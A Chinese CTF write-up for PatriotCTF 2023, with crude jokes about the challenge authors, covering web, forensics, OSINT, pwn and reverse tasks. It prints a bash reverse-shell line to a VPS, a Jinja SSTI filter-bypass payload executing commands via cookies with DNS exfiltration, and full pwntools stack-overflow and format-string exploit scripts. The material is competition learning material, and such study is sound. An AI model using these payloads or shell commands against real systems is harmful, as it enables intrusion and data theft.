PatriotCTF 2023 write up

周六末比较无聊,跟舍友和实验室的同学找了个老外的比赛打打,把自己做出来的题写个wp然后骂骂出题人。

总结:pwn是好活,但是👴🏻不会;取证是好活,但是👴🏻也不会;逆向是好活,但是👴🏻不会;开源情报是好活,但是👴🏻不会;web是烂活,但是👴🏻ak了,我只能说我是个傻逼。

(注:每道题目都会标注是好活还是烂活,好活与烂活的唯一评判标准就是能否对未来比赛有用&扩充知识&巩固知识,所有的脑洞题根据出题人的虚无空间里的另外一个平行时空的🐴的寿命长短来判断烂活程度

web

Scavenger Hunt(烂活,但是是beginner)

找五部分flag,f12找到一堆,还有一个在robots.txt下面

Checkmate(烂活)

f12找到源码,输入用户名和密码,然后进行校验,然后下面提示check.php

逆向没啥难度,脚本如下:

add_list = []
or_list = []
xor_list = []

for i in range(97, 123):
for j in range(97, 123):
add_ = i & j
or_ = i | j
xor_ = i ^ j
if add_ == 0x60:
# result[0] = chr(i)
# result[2] = chr(j)
print('add:', i, j, chr(i), chr(j))
add_list.append(chr(i)+ chr(j))
if or_ == 0x61:
# result[1] = chr(i)
# result[4] = chr(j)
print('or:', i, j, chr(i), chr(j))
or_list.append(chr(i)+ chr(j))
if xor_ == 0x6:
# result[3] = chr(i)
# result[5] = chr(j)
print('xor:', i, j, chr(i), chr(j))
xor_list.append(chr(i)+ chr(j))

result = []
for i in range(len(add_list)):
for j in range(len(or_list)):
for k in range(len(xor_list)):
result.append(add_list[i][0] + or_list[j][0] + add_list[i][1] + xor_list[k][0] + or_list[j][1] + xor_list[k][1])

print(len(result))
result = [line+"\n" for line in result]
with open('out.txt', 'w') as f:
f.writelines(result)

这题主要是不知道要干啥,check.php就是输入密码,然后没了,后来看出题人说,和名字有关

4k次爆破,上面脚本跑出来的结果差不多就是三千多次,直接爆破就出了,纯纯烂活

Flower Shop(好活)

给了源码,审计发现重置密码功能有问题,重置密码功能,提交到reset.inc.php中处理

reset.inc.php中调用了resetPassword方法

这里面有个exec,回溯下可以发现tmpPass不可控,但是wh是可控参数

wh在注册的时候会让你传入一个webhook链接,参数可控

但是会进行一些过滤,主要是进行了filter_var的过滤:

参数可控,第二个filter_var没必要绕过,可以直接植入webhook链接,也可以用javascript伪协议来绕;第一个过滤空格,可以用${IFS}来绕

但是命令没回显,考虑反弹shell,在vps上建一个test.txt,内容如下:

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1

其中换上自己的公网ip,然后监听7777端口

payload如下:

Pick Your Starter(好活)

给了如下页面

测测可以发现是ssti

首先考虑带os的命令执行,但是手动fuzz了一波,发现了大致有如下黑名单:

os

-

空格

[]

builtins

然后考虑用lazyFIle读一下文件,但最终失败了,然后考虑用subprocess.Process执行命令,先跑一下他的位置:

import requests

for i in range(400, 500):
payload = "{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(" + str(i) + ")}}"
url = 'http://chal.pctf.competitivecyber.club:5555/' + payload
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Cookie': 'Flag 5/5=e4a541; PHPSESSID=1314a5d83fd38e1c6d3ebdf4a2873a68',
'Upgrade-Insecure-Requests': '1'
}

response = requests.get(url, headers=headers, verify=False)

if 'subprocess' in response.text:
print(i)
break

本来想用如下payload打

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(455)(request.args.cmd,shell=True,stdout=-1).communicate().__getitem__(0).strip()}}&cmd=ls

结果发现过滤了负号,想用~False来绕,结果500了,但是本地可以执行命令,不清楚远程什么情况,url编码也不彳亍,而且经过测试,没法用request.args和request.values来传参,命令无法执行,也不清楚什么情况(

所以考虑不用stdout回显命令的执行结果,那么首先想到的就是反弹shell,但是参数的位置既不能get,又不能post来传,所以想到用cookie传。

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(455)(request.cookies.a,shell=True).communicate()}}

当cookie传入sleep 5时,页面停止响应,证明可以执行命令。

但是经过测试,server端没有curl,nc之类的,bash -i 反弹shell也不管用。

那就考虑DNS外带,发现没有禁ping命令

但是DNS外带的话,命令执行的结果很长就外带不了,所以只能猜测flag的位置,然后就猜中了,payload报文如下

One-for-all(究极烂活)

这么喜欢玩拼图要不要把你🐴给拼起来

四部分flag,完全没有任何逻辑,除了有一部分是sql注入,全靠摁猜,出题人还不让爆破,不爆破拿🔨猜

出题人用flask写的,按照找到flag的顺序来说,首先是最后一部分flag,有个profile页面,id传0才给最后一部分flag,别的传啥都是一个静态页面

然后第一部分flag是在主页里面把cookie改成admin获取flag

第三部分flag是sql注入,同时获得一个secret页面:

第二部分flag就在他给的secret路径相关,但是想了一下午,啥手法都试了都没有结果,然后dirsearch上大分:

我只能说究极烂活,然后比赛结束后开源了仓库,我寻思去看看咋写的代码吧,结果:

你🐴④了

Forensics

Unsupported Format

修jpg,找个在线网站一把🔐了,属于beginner

Read The EULA(好活)

题目描述:

My friend and I use to play Minecraft all the time together, but with recent updates he went off on some tangent about something called a Eula or something like that. Anyways, he said he found a new mining game he was testing but wouldn’t tell me the name of it. All he sent was a PCAP of him playing the game, saying he hid a flag in his movement… whatever that means.

然后给了个流量包,一开始wireshark解析出来全部是UDP的流量,但是看起来似乎是一段用户自定义的协议

然后根据提示找minetest,发现是个类似于Minecraft的游戏引擎(?

https://github.com/minetest/minetest

然后翻了下目录,发现uilt/wireshark里面有个minetest.lua脚本,然后根据作者的table,发现第二部分是客户端的指令解析

先甭管这么多,先把这个lua放到wireshark插件目录下面,尝试解析下流量,结果能识别特定的协议和字段了

然后去看他客户端的流量字段的解析规则,发现如下代码:

然后发现这个地方给出了用户移动的数据,尝试把pcapng数据包导出为json,然后写个脚本提取出所有的客户端的角色的移动数据(x,y,z)

发现y是个定值1500,所以提取出所有的(x,z),尝试绘制散点图,最终脚本如下:

import json
import matplotlib.pyplot as plt
from matplotlib.animation import FuncAnimation
import numpy as np


file_path = 'data.json'

json_data_list = []

with open(file_path, 'r') as file:
json_data_list = json.load(file)


coordinates = []

for json_data in json_data_list:
try:
playerpos_x = json_data["_source"]["layers"]["minetest.client"]["minetest.client.playerpos_x"]
playerpos_y = json_data["_source"]["layers"]["minetest.client"]["minetest.client.playerpos_y"]
playerpos_z = json_data["_source"]["layers"]["minetest.client"]["minetest.client.playerpos_z"]

coordinates.append({
"x": playerpos_x,
"y": playerpos_y,
"z": playerpos_z
})
except:
pass
# print(coordinates)

x_values = [int(point['x'] * 10) for point in coordinates] # 放大x的值,要不然图会挤在一起
z_values = [int(point['z']) for point in coordinates]

plt.scatter(x_values, z_values, marker='o', color='blue')
plt.show()

Congratulations

给了个word文档,里面嵌入VBA宏代码了,找到word的开发工具打开,flag就在x49变量里面

OSINT

Rouge Access Point

We’ve received a notice from our companies EDR software that a laptop was attacked while they were on WFH. The employee says they were at home when it happened, but we suspect they were using public wifi. Our EDR software managed to capture the BSSID of the wifi (46:D1:FA:63:BC:66) network before it got disconnected, but not the SSID. Can you still find the network they were connected to?

给了bssid,尝试找ssid,wigle数据库一查就查出来了

https://wigle.net/search#detailSearch?netid=46%3AD1%3AFA%3A63%3ABC%3A66

Satellite Killer(好活)

题目描述:

Easy

Most satellites get to live out a relatively peaceful existence in space until their orbit eventually decays and they fall back to Earth.

Most.

Back in the 80’s, one poor satellite met a premature end at the hands of an ASM-135.

I would like you to find the date that the second-to-last piece of its debris fell back down to Earth (Or more realistically, its decay date).

In addition, please give me its object ID/International Code.

Flag format: PCTF{OBJECTID_YEAR-MONTH-DAY}

For example, for a piece of debris from the Falcon 9, the flag would look like this: PCTF{2023-028BG_2023-3-15}

尝试找一颗卫星的倒数第二碎片的坠落时间和编号,首先在维基上找到如下内容:

https://en.wikipedia.org/wiki/Solwind

https://en.wikipedia.org/wiki/Anti-satellite_weapon#cite_note-8

然后给出了最后一块碎片的坠落时间,去查维基百科相关引用,可以找到一个卫星数据库,https://www.space-track.org/。

这个web网站提供了调用的相关API,当然也可以手动翻几页,就能找到对应的数据:https://www.space-track.org/basicspacedata/query/class/satcat/NORAD_CAT_ID/16085/format/html/emptyresult/show

PWN

没咋做,难的不会,简单的又太简单

guessinggame

简单栈溢出,ret2text

from pwn import *
import sys

arch = 64
challenge = "./guessinggame"
libc_path_local = ""
libc_path_remote = ""

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-hp', '65']

if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("chal.pctf.competitivecyber.club", 9999)
if libc_path_remote:
libc = ELF(libc_path_remote)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./guessinggame}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)


def exp():
ru('Input')
payload = (0x130 - 0x4) * 'a' + p32(1)
sl(payload)

exp()
ia()

printshop

简单的格式化字符串,只需要把exit改为后门函数地址即可

from pwn import *
import sys

arch = 64
challenge = "./printshop"
libc_path_local = ""
libc_path_remote = ""

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-hp', '65']

if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("chal.pctf.competitivecyber.club", 7997)
if libc_path_remote:
libc = ELF(libc_path_remote)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./printshop}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)


def format_string_template_64(location_arg,target,after_change,len_other_string = 0,ljust_location = 0x50,bit = 0x6):

if bit == 1:
low1 = (after_change & 0xff)

c1 = (low1 - len_other_string + 0x100) % 0x100

location_arg1 = location_arg + ljust_location / 0x8

payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload.ljust(ljust_location,'a')

payload = payload + p64(target)

if bit == 2:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8

c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100

location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1

payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload.ljust(ljust_location,'a')

payload = payload + p64(target)
payload = payload + p64(target + 0x1)

if bit == 3:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16

c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100

location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1

payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload.ljust(ljust_location,'a')

payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)

if bit == 4:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24

c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100

location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1

payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
payload = payload.ljust(ljust_location,'a')

payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)

if bit == 5:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
low5 = (after_change & 0xff00000000) >> 32

c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
c5 = (low5 - low4 + 0x100) % 0x100

location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
location_arg5 = location_arg4 + 1

payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
payload = payload.ljust(ljust_location,'a')

payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
payload = payload + p64(target + 0x4)

if bit == 6:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
low5 = (after_change & 0xff00000000) >> 32
low6 = (after_change & 0xff0000000000) >> 40

c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
c5 = (low5 - low4 + 0x100) % 0x100
c6 = (low6 - low5 + 0x100) % 0x100

location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
location_arg5 = location_arg4 + 1
location_arg6 = location_arg5 + 1

payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
payload = payload + '%' + str(c6) + 'c' + '%' + str(location_arg6) + '$hhn'
payload = payload.ljust(ljust_location,'a')

payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
payload = payload + p64(target + 0x4)
payload = payload + p64(target + 0x5)

return payload

def exp():
backdoor = 0x40129D
dbg()
payload = format_string_template_64(6, 0x404060, backdoor, 0, 0x50, 3)
ru(' >>')
sl(payload)
pass

exp()
ia()

Reverse

Coffee Shop

jadx一拖就出来了,简单的base64

Patchwork

题目说程序的执行流有问题

懒得逆向,直接在gdb里跳转到目标函数(

garbage

给了源代码:

import string # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.++++.+++.-.+++.++.<<++.>>-.+.--.---------.+++++.-------.
from random import * # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.++++++++++++.---.--.<<++.>>+++++.-----------------.+++++++++++++.----------.+++++++++++.--.<<.>>----.++++.+++.-.+++.++.<<.++++++++++.

def finalstage(w): # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>.+.+.<<++.>>.+++.+++++.-------------.+++++++++++.+++++++.+.-------------------.++++++.--.<<++++++++.>>++++++++++++++++++.<<+.>------------.
h=0 # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++.<---------.-------------.
w = list(w) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++++.<<++.>---------.<.>>-----------.---.++++++++++.+.<<++++++++.>>+++.<<+.
w.reverse() # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++++.<<++++++++++++++++.>>-----.-------------.+++++++++++++++++.-----------------.+++++++++++++.+.--------------.<<------.+.
w = "".join(g for g in w) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++++.<<++.>---------.<.++..++++++++++++.>>-------------.+++++.------.+++++.<<------.>>-------.<<--------.>>-.+++++++++.+++.<<.>>-----------.<<.>>++.+++++.<<.>>+++++++++.<<+++++++++.
flag = 'flag'.replace('flag', 'galf').replace('galf', '') # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.++++++.-----------.++++++.<<++.>---------.<.+++++++.>>-.++++++.-----------.++++++.<<.+++++++.>>+++++++++++.-------------.+++++++++++.----.-----------.++.++.<<------.-.>>+.++++++.-----------.++++++.<<.+++++.------------.+++++++.>>.------.+++++++++++.------.<<.++.+++++.>>++++++++++++.-------------.+++++++++++.----.-----------.++.++.<<------.-.>>++.------.+++++++++++.------.<<.+++++.------------.+++++++..++.
while h < len(w): # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++++.---------------.+.+++.-------.<<++.>>+++.<<.>----------.<.>>++++.-------.+++++++++.<<++++++++.>>+++++++++.<<+.>--.
try: # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++++.--.+++++++.<------------.
flag += w[h+1] + w[h] # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.++++++.-----------.++++++.<<++.+++++++++++.>---------.<-----------.>>++++++++++++++++.----------------------------.+++++++++++++.<<+++++++++++.++++++.>>-----------.<<-----------------.+++++++++++.-----------.>>++++++++++++++++++++++++++.----------------------------.+++++++++++++.-----------.
except: # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+.+++++++++++++++++++.---------------------.++.+++++++++++.++++.<------------.
flag += w[h] # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.++++++.-----------.++++++.<<++.+++++++++++.>---------.<-----------.>>++++++++++++++++.----------------------------.+++++++++++++.-----------.
h+=2 # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++.<<+++++++++++++.>---------.<+++++++.
print("Final Stage complete") # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.++.---------.+++++.++++++.<<++++++++++.------.>.>-----------.+++++.-------------.+++++++++++.<<--.>+++++++++++++.>++++++++.<++++++++++++++.++++++.--.<.>--.>-----.--.+++.----.<++.>++++++++.<.<++.+++++++.
return flag # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++.-------------.+++++++++++++++.+.---.----.<<++.>>--------.++++++.-----------.++++++.

def stage2(b): # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>.+.+.<<++.>>+++++++++++++.+.-------------------.++++++.--.<<++++++++++++++++++.----------.>>---.<<+.>------------.
t = "++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.++++++.-----------.++++++."[-15:(7*9)].strip('-') # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++++.<<++.>---------.<.++.+++++++++..........>>-------------------------.<+.<.>.<...>.<.......>.<..........>--....<++.>>++.<++....<--..+++.---......+++.-...........+.---......+++.------------.>>--.<<+++++++++++.++++.++++.>----.<-------------.>---.<++.>++.<-.>>++.<<+++++.>>++++++++++++++++++++++.+.--.---------.+++++++.<<------.-.++++++.------.++.
for q in range(len(b)): # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.+++++++++.+++.<<++.>>-.<<.>>--------.+++++.<<.>>++++.-----------------.+++++++++++++.-------.--.<<++++++++.>>+++++++.-------.+++++++++.<<.>>------------.<<+..>------------.
t += chr(ord(b[q]) - randint(0,5)) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++++.<<++.+++++++++++.>---------.<-----------.>>-----------------.+++++.++++++++++.<<++++++++.>>---.+++.--------------.<<.>>--.-------.++++++++++++++++++++++.--------------------.<<+.++++.>>+++++++++++++++++++++.-----------------.+++++++++++++.----------.+++++.+++++.++++++.<<-----.++++++++.----.>--------.<---..
print("Stage 2 complete") # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.++.---------.+++++.++++++.<<++++++++++.------.>+++++++++++++.>.<++++++++++++++.++++++.--.<--.++++++++++++++++++.------------------.>--.>-----.--.+++.----.<++.>++++++++.<.<++.+++++++.
flag = finalstage(t) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.++++++.-----------.++++++.<<++.>---------.<.>>-.+++.+++++.-------------.+++++++++++.+++++++.+.-------------------.++++++.--.<<++++++++.>>+++++++++++++++.<<+.
return flag # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++.-------------.+++++++++++++++.+.---.----.<<++.>>--------.++++++.-----------.++++++.

def stage1(a): # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>.+.+.<<++.>>+++++++++++++.+.-------------------.++++++.--.<<+++++++++++++++++.---------.>>----.<<+.>------------.
a = list(a) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>---.<<++.>---------.<.>>+++++++++++.---.++++++++++.+.<<++++++++.>>-------------------.<<+.
b = list(string.ascii_lowercase) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>--.<<++.>---------.<.>>++++++++++.---.++++++++++.+.<<++++++++.>>-.+.--.---------.+++++.-------.<<++++++.>>------.++++++++++++++++++.----------------.++++++..----------.+++++++++++++.+++.++++++++.------------------.+++++++++++++.---------------.--.++++++++++++++++++.--------------.<<-----.
for o in range(len(a)): # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.+++++++++.+++.<<++.>>---.<<.>>------.+++++.<<.>>++++.-----------------.+++++++++++++.-------.--.<<++++++++.>>+++++++.-------.+++++++++.<<.>>-------------.<<+..>------------.
a[o] = chr(ord(a[o])^o) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>---.------.++++++++++++++++++++.------------------.<<++.>---------.<.>>++++++.+++++.++++++++++.<<++++++++.>>---.+++.--------------.<<.>>---.------.++++++++++++++++++++.------------------.<<+.>>+.+++++++++++++++++.<<
z = "".join(x for x in a) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++++++++++.<<++.>---------.<.++..++++++++++++.>>----------------.+++++.------.+++++.<<------.>>++++++++++.<<--------.>>------------------.+++++++++.+++.<<.>>++++++.<<.>>---------------.+++++.<<.>>-------------.<<+++++++++.
for y in range(len(z)): # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.+++++++++.+++.<<++.>>+++++++.<<.>>----------------.+++++.<<.>>++++.-----------------.+++++++++++++.-------.--.<<++++++++.>>+++++++.-------.+++++++++.<<.>>++++++++++++.<<+..>------------.
b[y%len(b)] = chr(( ord(z[y]) ^ ord(a[y]) ) + len(b) ) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>--.-------.++++++++++++++++++++++++++++++.<<+++++++.>>-------------.-------.+++++++++.<<+++.>>------------.<<+.>>-----.<<---------.>---------.<.>>++++++.+++++.++++++++++.<<++++++++..>>---.+++.--------------.<<.>>++++++++++++++++++++++.<++++++++++++++++++++++++++++++.>-.<++.<+.>+.>----------.+++.<++++++.<-.>---.------.>+++++++.<++.<+..++.>>-------------.-------.+++++++++.<<---.>+++++.<+..
print("Stage 1 complete") # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.++.---------.+++++.++++++.<<++++++++++.------.>+++++++++++++.>.<++++++++++++++.++++++.--.<--.+++++++++++++++++.-----------------.>--.>-----.--.+++.----.<++.>++++++++.<.<++.+++++++.
flag = stage2(z) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.++++++.-----------.++++++.<<++.>---------.<.>>++++++++++++.+.-------------------.++++++.--.<-----------.<++++++++.>>+++++++++++++++++++++.<<+.
return flag # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++.-------------.+++++++++++++++.+.---.----.<<++.>>--------.++++++.-----------.++++++.
# QBPKxH.u"F1fRy3U[bM36j]QvS=03*]o0feA|
def entry(f): # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>.+.+.<<++.>>-.+++++++++.++++++.--.+++++++.<<++++++++.>>-------------------.<<+.>------------.
seed(10) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++.--------------..-.<<++++++++++.+++++++++.-.-------.
f = list(f) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.<<++.>---------.<.>>++++++.---.++++++++++.+.<<++++++++.>>--------------.<<+.
f.reverse() # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.<<++++++++++++++++.>>++++++++++++.-------------.+++++++++++++++++.-----------------.+++++++++++++.+.--------------.<<------.+.
f = "".join(i for i in f) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.<<++.>---------.<.++..++++++++++++.>>++++.+++++.------.+++++.<<------.>>-----.<<--------.>>---.+++++++++.+++.<<.>>---------.<<.>>.+++++.<<.>>--------.<<+++++++++.
print("Entry complete") # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.++.---------.+++++.++++++.<<++++++++++.------.>-.>------.++++++.--.+++++++.<<--.>>----------------------.++++++++++++.--.+++.----.-------.+++++++++++++++.---------------.<<++.+++++++.
flag = stage1(f) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.++++++.-----------.++++++.<<++.>---------.<.>>++++++++++++.+.-------------------.++++++.--.<------------.<++++++++.>>+.<<+.
return flag # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++++.-------------.+++++++++++++++.+.---.----.<<++.>>--------.++++++.-----------.++++++.

if __name__ == '__main__':# ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.---.<<++.>>-------..+++++++++++++++.-------------.++++++++++++.--------.------..<<.>---------..<.+++++++.>>..++++++++++++++.------------.++++++++.+++++.---------------..<<.>---.
# input = entry(input("Enter Flag: ")) # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.+++++.++.+++++.-.<<++.>---------.<.>>---------------.+++++++++.++++++.--.+++++++.<<++++++++.>>----------------.+++++.++.+++++.-.<<.------.>++++++++.>------.++++++.---------------.+++++++++++++.<<--.>+.>------.-----------.++++++.<------------.<.++.+++++++..
input = entry('QBPKxH.u"F1fRy3U[bM36j]QvS=03*]o0feA|') # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.+++++.++.+++++.-.<<++.>---------.<.>>---------------.+++++++++.++++++.--.+++++++.<<++++++++.>>----------------.+++++.++.+++++.-.<<.------.>++++++++.>------.++++++.---------------.+++++++++++++.<<--.>+.>------.-----------.++++++.<------------.<.++.+++++++..
